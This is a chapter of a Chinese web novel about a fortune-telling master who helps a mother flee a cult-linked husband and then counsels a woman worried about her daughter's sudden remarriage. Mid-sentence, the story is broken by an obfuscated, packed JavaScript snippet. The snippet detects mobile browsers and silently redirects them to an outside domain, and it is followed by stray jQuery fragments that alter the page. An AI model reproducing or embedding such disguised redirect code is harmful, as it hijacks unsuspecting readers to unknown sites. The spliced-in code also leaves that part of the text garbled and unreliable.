张鬼谷看了元满月一眼,带了点探究笑问:“大师也知晓莲花巷吗?”
元满月轻轻颔首:“听人提起过。”
原来大师在他们俗世中也有相识的友人?
张鬼谷默默品味着元满月方才说话时的语气,将心中关于她的刻画进行了细微的调整,大师虽然不通世情,却又并非完全超然物外,除他之外,她还有别的消息来源
就是不知道……大师的友人会是另一条大腿,还是像周明鹊那样式的,他的同门同事?
张鬼谷琢磨了一下,决定暂时不想那么多,而是认真将自己了解的情况一五一十全部告诉她:“听说这莲花巷呀,里头的水可深着呢,虽说确实能在里面碰见一些真材实料的高人,但更多的是骗术精湛的江湖骗子,遇见谁,钱花在谁身上,纯靠自己的眼界和运气,头回去的生面孔,若是没有熟人引荐,十有八九会栽个跟头。”
闻言,元满月眼底忧色一闪而过。
满月观虽传承悠久,但到了元真这一代已然式微,再加上他天资实在平平,老观主只教会他些粗浅术法,稍微深奥一点的典籍符咒,他便难以参透。
如今在莲花巷这等地方讨生活,他不会被归入“江湖骗子”之流吧?
元满月收回思绪,侧身问道:“你何时出发?我随你同去。”
张鬼谷闻言有些受宠若惊,他连声道:“择日不如撞日,要不咱们这就收摊过去?”
两人说干就干,正打算收摊,元满月的手机突然收到了一条新信息。
她解锁屏幕,赫然是莫紫发来的消息:“大师,检测结果出来了!我女儿没有得什么罕见病,医生在她的血液里检测出一种特殊的辐射物质,跟某种稀有陨石成分高度吻合。”
元满月示意张鬼谷稍候,随即才回复道:“你现在在哪里?”
莫紫的回复几乎瞬间弹出,文字里透着惊惶:“我带着孩子逃出来了……现在在酒店里,我也不敢报警……他们手眼滔天,连假病历都能弄出来,也不知道他们的关系网有多广……”
元满月简短询问:“方便视频吗?”
虽然早知道房间里只有自己跟女儿二人,但莫紫还是仓惶四顾后,才快速回了句“可以”。
视频接通的瞬间,她凌乱的长发下,那张未施粉黛却依旧明艳的脸上写满惊惧:“大、大师,救救我……”
元满月凝视着屏幕,却发现通过她的眼睛已经难以读取更多信息。
这也正常,毕竟按照她原本的命运轨迹,至今年年底,她便会因为一场人为的交通事故身亡,至死都以为女儿只是体弱多病,而自己福薄缘浅,终究等不到孩子痊愈的那天。
元满月略一思忖,转而说道:“让我看看你的女儿。”
莫紫连忙调整镜头,然后轻抚着怀中女儿的脸颊,柔声哄道:“乖乖,睁开眼睛跟阿姨打个招呼。”
镜头里的小姑娘虽然因为长期病痛显得消瘦苍白,却被教养得格外懂事,对着镜头另一边的满月乖乖叫了声“阿姨”,然后就钻进妈妈怀里,不说话了。
元满月放柔了声音:“小安安,看着阿姨好吗?”
林安躲在妈妈怀里偷偷探出了毛茸茸的小脑袋,见她并没有反对,便乖乖瞪大了眼睛,一眨不眨地望着镜头,小声道:“阿姨,这样可以吗?”
隔着屏幕,到底不如当面看卦效果更好,但她从女孩身上得到的信息已经足够解决她们当前的困局:“记下这个号码,联系时就说,你是莫云南跟莫子月的女儿。”
莫紫浑身一阵:“你、你怎么知道……”
元满月一字一顿补充道:“告诉他们,丈夫涉嫌参与邪教活动,正对你们母女不利,现在你们的人身安全受到威胁,他们知道该怎么处理这类情况。”
视频挂断后不到五分钟,莫紫给元满月发来了一条新消息:“大师,我联系上他了!他核实过我的身份后,说马上安排人来接我,让我立刻带着孩子到酒店大堂等着,强调除了持证警察,绝不能跟任何人离开,大师,接下来我该怎么做?”
元满月只道:“你什么都不用做,对付日月教,他们比你我更专业。”
毕竟,那是他们二十年前的手下败将。
莫紫的事情处理得很快,一切结束后,也才下午五点。
张鬼谷对给大师说的平安符十分上心,他琢磨了一下,转身给儿子打了个电话,想让他帮忙打台专车。
可就是这短暂耽搁的功夫,卦摊前又来了一位新客人,这一次,她是直冲元满月来的:“元大师,我女儿快结婚了,我想请你帮忙算算。”
张鬼谷刚挂掉电话,转身就看见收了一半的卦摊前站着的中年女人,心中生出了些郁闷,却还是堆起笑脸迎上去,站在了元满月身侧,然后习惯性地往女人身上扫过一眼。
她的耳垂上带了一对老款的金耳环,脖颈间挂着一根金项链,左手手腕坠着一个大金镯子,看样子,应该不是空心的,他很快对这人的家境有了一个大致的判断。
女人左右环顾四周,见招牌都被收起来了,会意地加快了语速:“您就是元大师吧?我姓郑,今天特意从隔壁的兰山市赶过来的,听说你算卦特别准,所以想找您,为我小闺女的婚事把把关。”
顿了顿,她又补充道:“我女儿上周刚领了结婚证,打算下周办婚礼,但是那男方,要本事没本事,要家世没家世,刚跟我女儿结婚,就把工作给辞了,听说每天除了买菜,都不踏出家门一步的,我就想问问,他们这婚姻,能幸福吗?”
张鬼谷忍不住道:“你既然对这女婿不满意,应该在领证前拼命阻拦啊!现在木已成舟,你再跳出来反对,除了闹得大家都不开心,还有什么别的好处吗?”
郑女士急得直拍大腿:“但凡我早知
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15616769|171104||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道领证这事,绝对会拦着!婚姻怎能如此儿戏呢!”
在她激动的叙述中,元满月和张鬼谷总算了解了事情的全部经过。
原来,郑女士的女儿本有一位相恋七年的男友,年初的时候,两家各出一半房款买好了一套精装修的婚房,婚事也筹备得妥妥当当,就等着下个月举办婚礼呢!
谁知月初时,兰山市下了一场大雨,小两口的婚房正开着窗散甲醛呢,她女儿担心雨水飘进屋子把家具浇坏,下班后便绕路去了一趟婚房,结果一开门,哟呵。
公公婆婆住进了主卧,小姑子住进了婴儿房,就连八竿子达不到一边的远方表妹也搬了进来,说在附近实习,住一个多月就走。
四室的大平层,她们家出了一半的婚房,竟只有一个房间的使用权,这也太搞笑了吧?
就这样,原本精心布置的婚房,转眼成了男方全家的改善房,那家人还振振有词宣称“一家人不说两家话”、“大度是年轻女孩最美好的品德”。
那不要脸的未婚夫还劝她女儿忍忍。
她女儿忍无可忍,当场就把亲手布置的婚房砸了个稀巴烂,差点没被男方一家围起来打一顿。
幸亏女儿机警,砸东西前知道先通知他们老两口,等她跟丈夫带着一群亲戚浩浩荡荡赶到时,恰好看见女儿脸上挨了两耳光,他们怒火上涌,当即冲上前去,两两一组分工合作,男方全家一人被扇了两巴掌。
事情闹到这地步,除了退婚也没别的路可走了,那句话怎么说的?有福之女不进无福之门。
谁知道啊,那套写了两人名字的婚房还没掰扯清楚呢,他女儿的前未婚夫,冷不丁跟一个女同事闪婚了,不但在社交平台上晒了结婚证,还发什么“七年感情终究败给物质,幸好转角遇见真正懂爱的人,你不计得失的模样真美,我用下半辈子许诺,我永远不会让你输”这类的怪话。
她女儿一气之下,也跟门店里一新来的年轻员工闪了婚。
小伙比她女儿小了七岁,听说父母早早离了婚,又各自组建家庭有了新儿女,他是跟生父生母断绝了关系出来谋生的,读书也不多,除了长得好看点、做得一手好家务,就没别的优点。
等她知道这人时,两人证都领完了。
她愁容满面地望着元满月:“我当然知道,他俩证都领了,我再反对也不能拿他们怎么办,但我这心里呀,始终膈得慌,相处七年自以为知根知底的人,转身也变成了豺狼,他呢,会是好东西还是坏东西?”
郑女士长长叹了一口气:“我女儿确实很能干,他要是只图钱财,我都可以不计较,可我就怕呀,他贪心不足,既要钱又要命。”
元满月静静凝视着她的双眼,在她絮絮叨叨的抱怨声中,其后半生中关于女儿的画面如走马灯般闪过,片刻后,她露出一点笑容:“你这女婿,是天生吃软饭的料,跟你女儿当属般配。”